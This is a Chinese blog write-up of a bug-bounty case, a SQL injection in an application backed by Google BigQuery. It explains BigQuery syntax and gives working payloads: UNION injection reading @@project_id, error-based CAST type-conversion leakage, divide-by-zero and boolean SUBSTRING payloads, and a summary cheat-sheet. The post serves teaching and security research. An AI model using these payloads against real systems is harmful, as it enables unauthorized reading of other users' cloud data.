一个基于 BigQuery 的 SQL 注入挖掘案例

简介: 一个基于 BigQuery 的 SQL 注入挖掘案例

前言

在通常的SQL注入中,我们面对的数据库为MySQL、MongoDB等等。针对不同的数据库,渗透的手法也有所差别。本文分享一个Synack.com上的特殊类SQL注入案例——【DBMS为BigQuery】


正文

Google有一个名为BigQuery的服务,我们可以通过它的云系统将其用作应用程序的数据库管理系统。尽管在大多数SQL结构方面它类似于其他数据库,但它的语法会有一些不同。


在正式开始案例前,先了解一下这个数据库。


在这个数据库中,存在两种查询机制,区别与联系如下:

1、标准模式:标准模式为目前的默认模式,大多数程序使用该模式


2、传统模式:传统模式为以前使用的旧模式,少数程序使用该模式


3、在查询开头加上 #legacySQL 和 #standardSQL 作为前缀,即可切换模式。


4、查询语法不一致


在传统SQL中,查询语法如下:


SELECT column-name FROM [project-name:dataset-name.table-name]


在标准SQL中则不同,查询语法如下:


SELECT column-name FROM `project-name:dataset-name.table-name`


5、由于BigQuery系统采用云技术,所以存在一个结构如下:


项目名称 -> 数据集(数据库)-> 表 -> 列 -> 数据


案例

添加单引号,返回语法错误,故存在报错注入:



也许你的想法和我一致,即启动SQLmap。


尽管SQLmap可以进行报错注入及布尔注入,但它不能很好地识别该DBMS。


那么该系统是什么?

仔细观察上图可知,From `` AS 这个字符串即可证明该DBMS为BigQuery。


现在要怎么注入?

BigQuery语法中不存在基于时间的函数如SLEEP、WAITFOR DELAY等,同时现有的报错注入Payload在此不通用。


由于该数据库支持union命令,那么就以其为切入点,通过不断利用报错回显后,设计出该Payload:


true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT 'asd'),1,1,1,1,1,1)) AS T1 GROUP BY column_name#


注入成功,回显如下:



那么下一步就是扩大攻击深度了:获取其它用户的项目名称,进而得到敏感数据。


可棘手的问题摆在眼前:


1、经测试,反引号字符(`)在应用程序后端被过滤或经过处理。


2、用户ID并非顺序排列,而是10位以上的数字,因此很难通过穷举攻击来获取用户ID。


3、INFORMATION_SCHEMA.SCHEMATA表无权访问


山穷水尽疑无路了?


通过不断尝试,我们最终发现了一个不需要`并且可以访问 INFORMATION_SCHEMA 表的数据:系统变量

设计出的Payload如下:


true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#


虽然得到的数据并不敏感,但足以证明它是一个有效的数据泄露POC。


当考虑获取敏感数据时,仅靠Union注入的列是无法起作用的,因为我们想要得到的是字符串,而我们注入的列只是一个整数值。


然而,在BigQuery中,类型转换问题可以引发语法错误:


dataset_name.column_name` union all select CAST(@@project_id AS INT64) ORDER BY 1 DESC#


通过使用CAST(@@project_id AS INT64),我们将@@project_id从默认的字符串类型转换为INT64整数类型,产生如下报错:



可以看到,回显中包含项目ID,至此,我们就能够获取数据库中的敏感数据。


涉及的语法、语句总结

1、注释:


select 1#from here it is not working


2、注释:


select 1/*between those it is not working*/


3、获取当前用户:


select session_user()


4、获取项目ID:


select @@project_id


5、获取所有数据集名称:

select schema_name from INFORMATION_SCHEMA.SCHEMATA


6、从特定项目ID和数据集获取数据:


select * from `project_id.dataset_name.table_name`


7、限制函数:


select schema_name from INFORMATION_SCHEMA.SCHEMATA limit 1


8、基于错误的类型转换:


select CAST(@@project_id AS INT64)


9、基于错误的除零操作:


' OR if(1/(length((select('a')))-1)=1,true,false) OR '


10、基于Union的注入:


UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#


11、基于布尔值的注入:


' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#


12、使用公共数据集的示例:


SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000


13、所有函数列表


1.https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators


14、脚本语句:


1.https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting


目录
相关文章
|
2天前
|
SQL Web App开发 安全
【less-1】基于SQLI的SQL字符型报错注入
【less-1】基于SQLI的SQL字符型报错注入
12 2
|
2天前
|
SQL 安全 PHP
基于PHPCMS的SQL注入(Havij)
基于PHPCMS的SQL注入(Havij)
11 1
|
15天前
|
SQL 关系型数据库 MySQL
怎么通过第三方库实现标准库`database/sql`的驱动注入?
在Go语言中,数据库驱动通过注入`database/sql`标准库实现,允许统一接口操作不同数据库。本文聚焦于`github.com/go-sql-driver/mysql`如何实现MySQL驱动。`database/sql`提供通用接口和驱动注册机制,全局变量管理驱动注册,`Register`函数负责添加驱动,而MySQL驱动在`init`函数中注册自身。通过这个机制,开发者能以一致的方式处理多种数据库。
|
2天前
【干货】sql-labs、请求方式、注入类型、拼接方式
【干货】sql-labs、请求方式、注入类型、拼接方式
6 0
|
2天前
|
SQL Web App开发 前端开发
【less-11】基于SQLI的POST字符型SQL注入
【less-11】基于SQLI的POST字符型SQL注入
14 2
|
2天前
|
SQL 开发框架 安全
【干货】如何判断 Sql 注入点
【干货】如何判断 Sql 注入点
9 1
|
14天前
|
SQL 关系型数据库 MySQL
MySQL数据库——索引(3)-索引语法(创建索引、查看索引、删除索引、案例演示),SQL性能分析(SQL执行频率,慢查询日志)
MySQL数据库——索引(3)-索引语法(创建索引、查看索引、删除索引、案例演示),SQL性能分析(SQL执行频率,慢查询日志)
17 2
|
2天前
|
SQL 数据库
sql注入方式
sql注入方式
7 0
|
5天前
|
SQL 安全 Java
Spring Boot中的跨站点脚本攻击(XSS)与SQL注入防护
【6月更文挑战第15天】在现代Web应用程序开发中,安全性是一个至关重要的课题。跨站点脚本攻击(XSS)和SQL注入是最常见的两种攻击类型,它们可以严重威胁到应用程序的安全。
27 0
|
6天前
|
SQL 关系型数据库 PostgreSQL
【sql】PostgreSQL物化视图表使用案例
【sql】PostgreSQL物化视图表使用案例
11 0